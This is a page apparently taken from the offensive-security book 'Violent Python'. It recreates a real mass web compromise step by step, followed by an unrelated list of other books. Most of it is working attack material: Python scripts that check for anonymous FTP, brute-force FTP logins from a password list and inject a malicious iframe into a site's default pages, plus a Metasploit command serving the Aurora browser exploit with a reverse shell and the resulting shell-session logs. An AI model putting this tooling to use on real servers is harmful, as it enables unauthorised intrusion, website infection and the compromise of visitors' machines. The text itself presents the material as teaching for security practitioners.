Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers (8 page)

Mass Compromise by Bridging FTP and Web

In a recent massive compromise, dubbed k985ytv, attackers used anonymous and stolen FTP credentials to gain access to 22,400 unique domains and 536,000 infected pages (
Huang, 2011
). With access granted, the attackers injected javascript to redirect benign pages to a malicious domain in the Ukraine. Once the infected server redirected the victims, the malicious Ukrainian host exploited victims in order to install a fake antivirus program that stole credit card information from the clients. The k985ytv attack proved to be a resounding success. In the following section, we will recreate this attack in Python.

Examining the FTP logs of the infected servers, we can see exactly what happened. An automated script connected to the target host in order to determine if it contained a default page named index.htm. Next the attacker uploaded a new index.htm, presumably containing the malicious redirection script. The infected server then exploited any vulnerable clients that visited its pages.

 204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] “LIST /folderthis/folderthat/” 226 1862

 204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] “TYPE I” 200 -

 204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] “PASV” 227 -

 204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] “SIZE index.htm” 213 -

 204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] “RETR index.htm” 226 2573

 204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] “TYPE I” 200 -

 204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] “PASV” 227 -

 204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] “STOR index.htm” 226 3018

In order to better understand the initial vector of this attack, let’s briefly talk about the characteristics of FTP. The File Transfer Protocol (FTP) service allows users to transfer files between hosts in a TCP-based network. Typically, users authenticate to FTP servers using a combination of a username and password. However, some sites provide the ability to authenticate anonymously. In this scenario, a user enters the username “anonymous” and submits an email address in lieu of a password.

Building an Anonymous FTP Scanner with Python

Considering the security implications, it seems insane that any sites would offer anonymous FTP access. However, many sites surprisingly provide legitimate reasons for this kind of FTP access such as promoting the idea that this enables a more enhanced means of accessing software updates. We can utilize the ftplib library in Python in order to build a small script to determine if a server offers anonymous logins. The function anonLogin() takes a hostname and returns a Boolean that describes the availability of anonymous logins. In order to determine this Boolean, the function attempts to create an FTP connection with anonymous credentials. If it succeeds, it returns the value “True”. If, in the process of creating a connection, the function throws an exception it returns it as “False”.

 import ftplib

 def anonLogin(hostname):

  try:

   ftp = ftplib.FTP(hostname)

   ftp.login(‘anonymous’, ‘[email protected]’)

   print ‘\n[∗] ’ + str(hostname) +\

    ‘ FTP Anonymous Logon Succeeded.’

   ftp.quit()

   return True

  except Exception, e:

   print ‘\n[-] ’ + str(hostname) +\

     ‘ FTP Anonymous Logon Failed.’

   return False

 host = ‘192.168.95.179’

 anonLogin(host)

Running the code, we see a vulnerable target with anonymous FTP enabled.

 attacker# python anonLogin.py

 [∗] 192.168.95.179 FTP Anonymous Logon Succeeded.

Using Ftplib to Brute Force FTP User Credentials

While anonymous access grants one way to enter into systems, attackers also have been quite successful with using stolen credentials to gain access to legitimate FTP servers. FTP Client programs, such as FileZilla, often store passwords in plaintext configuration files (
Huang, 2011
). Storing passwords in cleartext in a default location allows custom malware to quickly steal credentials. Security experts have found FTP stealing credentials as recent malware. Furthermore, HD Moore even included the get_filezilla_creds.rb script in a recent Metasploit
release allowing users to quickly scan for FTP credentials after exploiting a target. Imagine a text file of a username/password combination we wanted to brute force through. For the purpose of this script, imagine the username/password combinations stored in a flat text file.

 administrator:password

 admin:12345

 root:secret

 guest:guest

 root:toor

We can now expand upon our early anonLogin() function to build one called bruteLogin(). This function will take a host and password file as input and return the credentials that allow access to the host. Notice the function iterates through each line of the file, splitting each line at the colon. The function then takes the username and password and attempts to login to the FTP server. If it succeeds, it returns a tuple of a username, password. If it fails, it passes through the exception and continues to the next line. If the function exhausted all lines and failed to successfully login, it returns a tuple of None,None.

 import ftplib

 def bruteLogin(hostname, passwdFile):

  pF = open(passwdFile, ‘r’)

  for line in pF.readlines():

   userName = line.split(‘:’)[0]

   passWord = line.split(‘:’)[1].strip(‘\r’).strip(‘\n’)

   print “[+] Trying: “+userName+”/”+passWord

   try:

    ftp = ftplib.FTP(hostname)

    ftp.login(userName, passWord)

    print ‘\n[∗] ’ + str(hostname) +\

    ‘ FTP Logon Succeeded: ’+userName+“/”+passWord

    ftp.quit()

    return (userName, passWord)

   except Exception, e:

    pass

  print ‘\n[-] Could not brute force FTP credentials.’

  return (None, None)

 host = ‘192.168.95.179’

 passwdFile = ‘userpass.txt’

 bruteLogin(host, passwdFile)

Iterating through the list of user/password combinations, we finally find the account guest with the password guest works.

 attacker# python bruteLogin.py

 [+] Trying: administrator/password

 [+] Trying: admin/12345

 [+] Trying: root/secret

 [+] Trying: guest/guest

 [∗] 192.168.95.179 FTP Logon Succeeded: guest/guest

Searching for Web Pages on the FTP Server

With credentials on the FTP server, we must now test if the server also provides web access. In order to test this, we will first list the contents of the FTP server’s directory and search for default web pages. The function returnDefault() takes an FTP connection as the input and returns an array of default pages it finds. It does this by issuing the command NLST, which lists the directory contents. The function checks each file returned by NLST against default web page file names. It also appends any discovered default pages to an array called retList. After completing the iteration of these files, the function returns this array.

 import ftplib

 def returnDefault(ftp):

  try:

   dirList = ftp.nlst()

  except:

   dirList = []

   print ‘[-] Could not list directory contents.’

   print ‘[-] Skipping To Next Target.’

   return

  retList = []

  for fileName in dirList:

   fn = fileName.lower()

   if ‘.php’ in fn or ‘.htm’ in fn or ‘.asp’ in fn:

    print ‘[+] Found default page: ’ + fileName

    retList.append(fileName)

  return retList

 host = ‘192.168.95.179’

 userName = ‘guest’

 passWord = ‘guest’

 ftp = ftplib.FTP(host)

 ftp.login(userName, passWord)

 returnDefault(ftp)

Looking at the vulnerable FTP server, we see it has three webpages in the base directory. Great! We’ll know move on to infecting these pages with our client side attack vector.

 attacker# python defaultPages.py

 [+] Found default page: index.html

 [+] Found default page: index.php

 [+] Found default page: testmysql.php

Adding a Malicious Inject to Web Pages

Now that we have found web page files, we must infect them with a malicious redirect. We will use the Metasploit framework in order to quickly create a malicious server and page hosted at
http://10.10.10.112:8080/exploit
. Notice we choose the exploit ms10_002_aurora, the very same exploit used during Operation Aurora against Google. The page at 10.10.10.112:8080/exploit will exploit redirected victims, which will provide a call back to our command and control server.

 attacker# msfcli exploit/windows/browser/ms10_002_aurora LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112 LPORT=443 E

 [∗] Please wait while we load the module tree...

 <…SNIPPED…>

 LHOST => 10.10.10.112

 SRVHOST => 10.10.10.112

 URIPATH => /exploit

 PAYLOAD => windows/shell/reverse_tcp

 LHOST => 10.10.10.112

 LPORT => 443

 [∗] Exploit running as background job.

 [∗] Started reverse handler on 10.10.10.112:443

[∗] Using URL:
http://10.10.10.112:8080/exploit

 [∗] Server started.

 msf exploit(ms10_002_aurora) >

Any vulnerable client that connects to our server at
http://10.10.10.112:8080/exploit
will now fall prey to our exploit. If it succeeds, it will create a reverse TCP shell and grant us access to the Windows command prompt on the
infected client. From the command shell, we can now execute commands as the administrator of the infected victim.

 msf exploit(ms10_002_aurora) > [∗] Sending Internet Explorer “Aurora” Memory Corruption to client 10.10.10.107

 [∗] Sending stage (240 bytes) to 10.10.10.107

 [∗] Command shell session 1 opened (10.10.10.112:443 -> 10.10.10.107:49181) at 2012-06-24 10:05:10 -0600

 msf exploit(ms10_002_aurora) > sessions -i 1

 [∗] Starting interaction with 1...

 Microsoft Windows XP [Version 5.1.2600]

 (C) Copyright 1985-2001 Microsoft Corp.

 C:\Documents and Settings\Administrator\Desktop>

Next, we must add a redirect from the benign infected servers to our malicious exploit server. To do this, we can download the default pages found on the benign server, inject an iframe, and upload the malicious pages back to the benign server. Look at the injectPage(). The function injectPage() takes an FTP connection, a page name, and a redirect iframe string as the input. It then downloads a temporary copy of that page. Next, it appends the iframe redirect to our malicious server to that temporary file. Finally, the function uploads the infected page back to the benign server.

 import ftplib

 def injectPage(ftp, page, redirect):

  f = open(page + ‘.tmp’, ‘w’)

  ftp.retrlines(‘RETR ’ + page, f.write)

  print ‘[+] Downloaded Page: ’ + page

  f.write(redirect)

  f.close()

  print ‘[+] Injected Malicious IFrame on: ’ + page

  ftp.storlines(‘STOR ’ + page, open(page + ‘.tmp’))

  print ‘[+] Uploaded Injected Page: ’ + page

 host = ‘192.168.95.179’

 userName = ‘guest’

 passWord = ‘guest’

 ftp = ftplib.FTP(host)

 ftp.login(userName, passWord)

 redirect = ‘

 injectPage(ftp, ‘index.html’, redirect)

Running our code, we see it download the index.html page and inject it with our malicious content.

 attacker# python injectPage.py

 [+] Downloaded Page: index.html

 [+] Injected Malicious IFrame on: index.html

 [+] Uploaded Injected Page: index.html

Bringing the Entire Attack Together

We will wrap up our entire attack in the attack() function. The attack() function takes a username, password, hostname, and redirect location as input. The function first logs onto the FTP server with the credentials. Next, we have the script search for default web pages. For each of these pages, the script downloads a copy and adds a malicious redirection. The script then uploads the infected page back to the FTP server, which will then infect any future victims that visit that web server.

 def attack(username, password, tgtHost, redirect):

  ftp = ftplib.FTP(tgtHost)

  ftp.login(username, password)

  defPages = returnDefault(ftp)

  for defPage in defPages:

   injectPage(ftp, defPage, redirect)

Adding some option parsing, we wrap up the entire script. You’ll notice we first try to gain anonymous access to the FTP server. If this fails, we then brute force credentials and run our attack against the discovered credentials. While this represents only a hundred lines of code, this attack fully replicates the original attack vector of the k985ytv infection.

 import ftplib

 import optparse

 import time

 def anonLogin(hostname):

  try:

   ftp = ftplib.FTP(hostname)

   ftp.login(‘anonymous’, ‘[email protected]’)

   print ‘\n[∗] ’ + str(hostname) \

   + ‘ FTP Anonymous Logon Succeeded.’

   ftp.quit()

   return True

  except Exception, e:

   print ‘\n[-] ’ + str(hostname) +\

    ‘ FTP Anonymous Logon Failed.’

   return False

 def bruteLogin(hostname, passwdFile):

  pF = open(passwdFile, ‘r’)

  for line in pF.readlines():

   time.sleep(1)

   userName = line.split(‘:’)[0]

   passWord = line.split(‘:’)[1].strip(‘\r’).strip(‘\n’)

   print ‘[+] Trying: ’ + userName + ‘/’ + passWord

   try:

    ftp = ftplib.FTP(hostname)

    ftp.login(userName, passWord)

    print ‘\n[∗] ’ + str(hostname) +\

     ‘ FTP Logon Succeeded: ’+userName+‘/’+passWord

    ftp.quit()

    return (userName, passWord)

   except Exception, e:

    pass

  print ‘\n[-] Could not brute force FTP credentials.’

  return (None, None)

 def returnDefault(ftp):

  try:

   dirList = ftp.nlst()

  except:

   dirList = []

   print ‘[-] Could not list directory contents.’

   print ‘[-] Skipping To Next Target.’

   return

  retList = []

  for fileName in dirList:

   fn = fileName.lower()

   if ‘.php’ in fn or ‘.htm’ in fn or ‘.asp’ in fn:

    print ‘[+] Found default page: ’ + fileName

   retList.append(fileName)

  return retList

 def injectPage(ftp, page, redirect):

  f = open(page + ‘.tmp’, ‘w’)

  ftp.retrlines(‘RETR ’ + page, f.write)

  print ‘[+] Downloaded Page: ’ + page

  f.write(redirect)

  f.close()

  print ‘[+] Injected Malicious IFrame on: ’ + page

  ftp.storlines(‘STOR ’ + page, open(page + ‘.tmp’))

  print ‘[+] Uploaded Injected Page: ’ + page

 def attack(username, password, tgtHost, redirect):

  ftp = ftplib.FTP(tgtHost)

  ftp.login(username, password)

  defPages = returnDefault(ftp)

  for defPage in defPages:

   injectPage(ftp, defPage, redirect)

 def main():

  parser = optparse.OptionParser(‘usage%prog ’+\

    ‘-H -r ’+\

    ‘[-f ]’)

  parser.add_option(‘-H’, dest=‘tgtHosts’, \

   type=‘string’, help=‘specify target host’)

  parser.add_option(‘-f’, dest=‘passwdFile’, \

   type=‘string’, help=‘specify user/password file’)

  parser.add_option(‘-r’, dest=‘redirect’, \

   type=‘string’, help=‘specify a redirection page’)

   (options, args) = parser.parse_args()

  tgtHosts = str(options.tgtHosts).split(‘, ’)

  passwdFile = options.passwdFile

  redirect = options.redirect

  if tgtHosts == None or redirect == None:

   print parser.usage

   exit(0)

  for tgtHost in tgtHosts:

   username = None

   password = None

   if anonLogin(tgtHost) == True:

    username = ‘anonymous’

    password = ‘[email protected]

    print ‘[+] Using Anonymous Creds to attack’

    attack(username, password, tgtHost, redirect)

   elif passwdFile != None:

     (username, password) =\

    bruteLogin(tgtHost, passwdFile)

   if password != None:

     ‘[+] Using Creds: ’[+\]

    username + ‘/’ + password + ‘ to attack’

    attack(username, password, tgtHost, redirect)

 if __name__ == ‘__main__’:

 main()

Running our script against a vulnerable FTP server, we see it brute attempt anonymous logon and fail, enumerate the password guest/guest, and then download and inject every page in the base directory.

attacker# python massCompromise.py -H 192.168.95.179 -r ‘’ -f userpass.txt

 [-] 192.168.95.179 FTP Anonymous Logon Failed.

 [+] Trying: administrator/password

 [+] Trying: admin/12345

 [+] Trying: root/secret

 [+] Trying: guest/guest

 [∗] 192.168.95.179 FTP Logon Succeeded: guest/guest

 [+] Found default page: index.html

 [+] Found default page: index.php

 [+] Found default page: testmysql.php

 [+] Downloaded Page: index.html

 [+] Injected Malicious IFrame on: index.html

 [+] Uploaded Injected Page: index.html

 [+] Downloaded Page: index.php

 [+] Injected Malicious IFrame on: index.php

 [+] Uploaded Injected Page: index.php

 [+] Downloaded Page: testmysql.php

 [+] Injected Malicious IFrame on: testmysql.php

 [+] Uploaded Injected Page: testmysql.php

We ensure our client side attack vector is running and wait for a victim to connect the now infected webserver. Soon enough, 10.10.10.107 visits the webserver and as redirected to our client side attack. Success! We get a command shell on a client victim by infecting the webserver by way of the FTP server.

 attacker# msfcli exploit/windows/browser/ms10_002_aurora LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112 LPORT=443 E

 [∗] Please wait while we load the module tree...

 <…SNIPPED…>

 [∗] Exploit running as background job.

 [∗] Started reverse handler on 10.10.10.112:443

[∗] Using URL:
http://10.10.10.112:8080/exploit

 [∗] Server started.

 msf exploit(ms10_002_aurora) >

 [∗] Sending Internet Explorer “Aurora” Memory Corruption to client 10.10.10.107

 [∗] Sending stage (240 bytes) to 10.10.10.107

 [∗] Command shell session 1 opened (10.10.10.112:443 -> 10.10.10.107:65507) at 2012-06-24 10:02:00 -0600

 msf exploit(ms10_002_aurora) > sessions -i 1

 [∗] Starting interaction with 1...

 Microsoft Windows XP [Version 5.1.2600]

 (C) Copyright 1985-2001 Microsoft Corp.

 C:\Documents and Settings\Administrator\Desktop>

Although the criminals behind Fake Antivirus propagation used the k985ytv attack as one of many approach vectors, km985ytv did successfully compromise 2220 of the 11,000 suspected infected domains. Overall, Fake Antivirus captured the credit cards of over 43 million people by 2009 and continues to grow. Not bad for one hundred lines of Python code. In the next section, we recreate an attack that compromised over 5 million workstations in 200 countries.

Other books

Bittersweet Magic by Nina Croft
For the Love of Gracie by Amy K. Mcclung
Dreams The Ragman by Gifune, Greg F.
Stands a Calder Man by Janet Dailey
High Intensity by Joy, Dara
Protection by Elise de Sallier
Princess Ces'alena by Keyes, Mercedes
Life After The Undead (Book 1) by Sinclair, Pembroke
A New Day (StrikeForce #1) by Colleen Vanderlinden